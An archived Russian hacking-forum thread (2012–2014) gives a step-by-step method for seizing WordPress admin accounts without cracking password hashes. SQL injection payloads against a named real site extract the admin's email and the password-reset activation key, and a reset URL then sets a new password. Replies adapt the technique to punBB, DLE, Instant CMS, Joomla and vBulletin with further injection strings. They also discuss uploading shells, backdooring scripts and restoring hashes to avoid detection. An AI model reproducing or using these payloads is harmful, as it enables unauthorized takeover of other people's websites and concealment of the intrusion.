ANTICHAT

ANTICHAT (https://forum.antichat.io/index.php)
-   Статьи (https://forum.antichat.io/forumdisplay.php?f=30)
-   -   Получаем доступ в админку Wordpress без расшифровки хэша (https://forum.antichat.io/showthread.php?t=359532)

MaxFast 07.11.2012 16:56

Приветствую. Решил написать небольшую заметку.

Как вы знаете чтобы зайти в админ-панель Wordpress, нужно расшифровать хэш администратора.

Но я понял как входить в панель без ожидания расшифровки хэша.

Покажу на примере.

У нас есть блог, где мы уже вывели данные из таблицы wp_users.

Торопится выводить пароль не стоит, выведем e-mail администратора:

Код:

http://www.abbdi.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3+union+select+1,2,3,group_concat(user_login,0x3a,user_emai),5,6,7,8,9,10,11+from+wp_users--
И результат запроса:

Цитата:

Сообщение от None
admin:hackingmaster94@gmail.com

Так. Теперь идем на страницу авторизации wp-login.php, и переходим на страницу восстановления пароля (В нашем случае Passwort vergessen).

Вводим e-mail администратора который мы получили выше, и отправляем письмо.

Пол дела мы сделали. Особенность Wordpress такова, что код подтверждения записывается в БД.

Делаем такой запрос:

Код:

http://www.abbdi.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3+union+select+1,2,3,group_concat(user_login,0x3a,user_activation_key),5,6,7,8,9,10,11+from+wp_users--
И в результате мы получаем активационный код:

Цитата:

Сообщение от None
P6rd7g1bPW28zgbPCRtZ

Теперь идем на страницу сброса пароля (При этом заполнив параметры):

Код:

www.abbdi.com/wp-login.php?action=rp&key=P6rd7g1bPW28zgbPCRtZ&login=admin
И мы видим что нам предлагают ввести новый пароль, вводим, и меняем.

Далее привычная авторизация.

Ну вот и все. Есть некоторое примечание, этот способ может не работать на тех блогах, где отключен mail().

Способ работает не везде.

(с) MaxFast

cLauZ 07.11.2012 17:06

Аммм...сорри ТС а для какой версии WP?

И как получить хэш для версии 3.4.1

MaxFast 07.11.2012 17:10

Цитата:

Сообщение от cLauZ
Аммм...сорри ТС а для какой версии WP?
И как получить хэш для версии 3.4.1

Ну я тестировал на 3.2.1.

Все данные я вытянул с помощью SQL Injection в плагине.

Prosta4ok 07.11.2012 17:32

Цитата:

Сообщение от cLauZ
Аммм...сорри ТС а для какой версии WP?

работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..

martmm 07.11.2012 17:45

ТС скажи пожайлуста как я понял то даже хеша пароля не нужно знать?

MaxFast 07.11.2012 17:47

Цитата:

Сообщение от martmm
ТС скажи пожайлуста как я понял то даже хеша пароля не нужно знать?

Пароль знать не нужно, да.

Главное узнать e-mail, и активационный код.

Alexey_S 07.11.2012 18:09

Цитата:

Сообщение от Prosta4ok
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..

если шел зальешь, базу можно будет вернуть в исходное состояние.

Serafim 07.11.2012 18:13

Цитата:

Сообщение от Alexey_S
если шел зальешь, базу можно будет вернуть в исходное состояние.

И удалить письмо с восстановлением пароля с почты владельца?

Alexey_S 07.11.2012 18:22

Цитата:

Сообщение от Serafim
И удалить письмо с восстановлением пароля с почты владельца?

Он может его и не прочитать, как повезет.Но если оставить как написано в первом посте, факт обнаружения выше.

blesse 07.11.2012 19:01

Хм спасибо извлек для себя новое)А по поводу палева-если цель не очень то может и админ оказаться не совсем компетентным просто вернуть пасс обратно и забэкдорить какой нить скрипт авось и не заметит)

А если какойнибудь крупный сайт то тут уж и денег не жалко ящик его проспамить. Лови +++

blesse 07.11.2012 20:05

Кстати а как с джумлой обстоят дела?Там же тоже должно катить.

VY_CMa 07.11.2012 20:40

Данный способ подходит для большого числа CMS и движков, за исключением тех, которые высылают на e-mail сам пароль.

GrandMaster 07.11.2012 20:44

Цитата:

Сообщение от Prosta4ok
работает на всех версиях, нужна только раскрученная sql инъекция или доступ к БД. единственное что факт взлома скорее всего заметят..

Отчего же? заливаем шелл, в бд меняем наш хеш админа на старый

Цитата:

Сообщение от None
И удалить письмо с восстановлением пароля с почты владельца?

Ну кто то узнал мейл и пытался восстановить пароль. Что такого то? Там же вряд ли приходит новый пасс

FraiDex 08.11.2012 05:53

Плагин HD Webplayer далеко не везде установлен. Но за способ +.

MaxFast 08.11.2012 08:53

Цитата:

Сообщение от FraiDex
Плагин HD Webplayer далеко не везде установлен. Но за способ +.

Дело не в нем. Каждая БД вордпресса хранит одни и те же поля. Просто этот блог самый первый с SQLi попался.

FraiDex 08.11.2012 10:43

Цитата:

Сообщение от MaxFast
Дело не в нем. Каждая БД вордпресса хранит одни и те же поля. Просто этот блог самый первый с SQLi попался.

Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.

MaxFast 08.11.2012 10:47

Цитата:

Сообщение от FraiDex
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.

Какая разница как именно и через что проводить инъекцию? У Wordpress'a много уязвимых мест.

justonline 08.11.2012 11:06

Цитата:

Сообщение от FraiDex
Что поля одинаковые это понятно, но дырявый скрипт находится в этом плагине. Так? Ты ведь не можешь провести injaction через другой скрипт.

да ты гений прям. тут описывается не инжект в плагины, а реализация входа через "окно" в админку WP. Как ты будешь проводить injEction - дело десятое.

FraiDex 08.11.2012 15:07

Цитата:

Сообщение от justonline
да ты гений прям. тут описывается не инжект в плагины, а реализация входа через "окно" в админку WP. Как ты будешь проводить injEction - дело десятое.

Но ведь такой метод можно реализовать и на другой cms не обязательно wp, а автор описывает именно как баг wp. А без инжекта ты воспользоваться этим способом не сможешь в принципе, так что он далеко не последнее дело.

MaxFast 08.11.2012 15:29

Цитата:

Сообщение от FraiDex
Но ведь такой метод можно реализовать и на другой cms не обязательно wp, а автор описывает именно как баг wp. А без инжекта ты воспользоваться этим способом не сможешь в принципе, так что он далеко не последнее дело.

Суть этой статьи в том, чтобы показать как обойти расшифровку пароля на Wordpress.

Тут совершенно неважно какая бага, тут только прочитать данные из поля нужно, и все.

попугай 08.11.2012 16:53

Ааааааа, ну зачем-зачем-зачем ты спалил!!

Цитата:

Сообщение от blesse
Кстати а как с джумлой обстоят дела?Там же тоже должно катить.

с 1.7 в базе код восстановления хеширован.

winstrool 08.11.2012 20:09

ну раз с WP раскрылась тема то и до джумлы доберутся)

вообщем в таблице юзеров есть такая колонка "activation" вней появляются значение захешированое, в моем примере для теста я зарегался на одном из уязвимых сайтов и востонавил пасс, до востановления там был такой хешь "521608068f705c84e225b8bc30e387d6:$1$e47b7a03$"

на почту пришел такой хешь "985255f8d4bbe03c95ec3b144fc43da8" т.е это хешь под хешом что приведен выше, и чтобы его получить прийдется его сбрутить!

форма ввода данного кода: /index.php?option=com_user&view=reset&layout=confir m

kingbeef 09.11.2012 02:56

Цитата:

Сообщение от winstrool
ну раз с WP раскрылась тема то и до джумлы доберутся)
вообщем в таблице юзеров есть такая колонка "
activation
" вней появляются значение захешированое, в моем примере для теста я зарегался на одном из уязвимых сайтов и востонавил пасс, до востановления там был такой хешь "
521608068f705c84e225b8bc30e387d6:$1$e47b7a03$
"
на почту пришел такой хешь "
985255f8d4bbe03c95ec3b144fc43da8
" т.е это хешь под хешом что приведен выше, и чтобы его получить прийдется его сбрутить!
форма ввода данного кода: /index.php?option=com_user&view=reset&layout=confir m

Так 100 лет можно брутить хэш.

BigBear 09.11.2012 08:21

Короче походу все мои исследования, что я по ретриву проводил пора выкидывать в мусорку... Дальше так и пойдёт....

winstrool 10.11.2012 18:31

Цитата:

Сообщение от kingbeef
Так 100 лет можно брутить хэш.

раньше открытые были, потом пофиксели с какойто версии.

qaz 20.11.2012 00:29

продолжу тему раз уж нато пошло

форум punBB 1.3.4

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat_ws[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x3a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]username[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]99[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]forum_users[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]limit[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][/COLOR

получаем

Цитата:

Сообщение от None
2:Администратор:емеил@list.ru

идём на страницу востановления пароля

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//сайт.ру/forum/login.php?action=forget[/COLOR][/COLOR] 

вводим емеил, далее

PHP код:

[COLOR="#000000"][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]concat_ws[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x3a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]activate_key[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]99[/COLOR][COLOR="#007700"])+[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]forum_users[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]limit[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][/COLOR

получам

Цитата:

Сообщение от None
2:uEH7Wftq

далее меняем пароль

Цитата:

Сообщение от None
http://сайт.ру/forum/profile.php?action=change_pass&id=
2
&key=
uEH7Wftq


MaxFast 20.11.2012 10:38

Тогда можно переименовать тему, и посвятить ее способам на других CMS.

BigBear 20.11.2012 13:10

Не торопитесь, ребят, скоро в ветке Уязвимости выложу весь свой труд по этому направлению - там всё и будет...

Sergeynia 21.11.2012 16:11

Да можно создать тему

Prosta4ok 21.11.2012 16:57

Цитата:

Сообщение от BigBear
Не торопитесь, ребят, скоро в ветке Уязвимости выложу весь свой труд по этому направлению - там всё и будет...

может не стоит?) захэшируют же все))

OxoTnik 11.01.2013 05:47

переносите тему в ветку уязвимости.

BigBear'у теперь некогда этим заниматься, а тема не должна затеряться.

XAMEHA 11.01.2013 08:16

Способ так-же подходит для VB - при восстановлении устанавливается новый 8-ми символьный цифровой пароль, который сбрутить не составит труда, хэши в ссылке на восстановление не используются.

Потом хэш можно вернуть на изначальный, только вот письмо из почты админа никуда не денется, хотя возможно в других двигах есть свои нюансы.

Cennarios 19.01.2013 14:32

Версию не уточнял!

DLE:

1) http://site/?do=lostpassword (via email)

2) use bug:

http://site/script.php?video=-49674'+union+select+1,2,lostid,4,5,6,7+from+dle_lo stdb+where+lostname='1'--+

В данном случае, lostname - это ID пользователя - обычно админ

3)переход по линку:

http://site/index.php?do=lostpassword&action=password&douser=1 &lostid=a05e0f74df705f0a1e3ab0803f82a7fd046214d 5

4) Генерится 11 символьный пароль из loweralpha и digit. Причем, есть шанс, что сгенеренный пароль будет only 11 digit's

P.S Лично у меня 11 lenght DIGIT simblols EGB обходит перебором за пару минут.

Instant CMS v1.9

CСсылка формируется согласно шаблону:

Query -

SELECT *, DATE_FORMAT(logdate, '%d-%m-%Y-%H-%i-%s') as logdate FROM cms_users WHERE email = 'email' LIMIT 1

Непосредственно вычисление хеша:

$usercode = md5($usr['id'] . '-' . $usr['login'] . '-' . $usr['password'] . '-' . $usr['logdate']);

В результате прямой линк на сброс пароля принимает вид:

http://site/registration/remind/bbd4da8d02433a6bdea3d3019458f951

Далее в форме вводим новый пароль:подтверждение.

P.S. В stable что лежит на офф сайте код в алгоритм формирования ссылки в конец добавляется константа PATH ( $_SERVER['DOCUMENT_ROOT'])

Like this:

$usercode = md5($usr['id'] . '-' . $usr['login'] . '-' . $usr['password'] . '-' . $usr['logdate'].PATH);

hpol 16.12.2013 15:44

wp 3.4.2. прокатило

ninja96c 11.09.2014 12:10

WP 3.9.1 и выше (может и ниже) - ключ активации хешируется.

20 символов [a-zA-Z0-9] - проще хеш админа подобрать...


Время: 20:38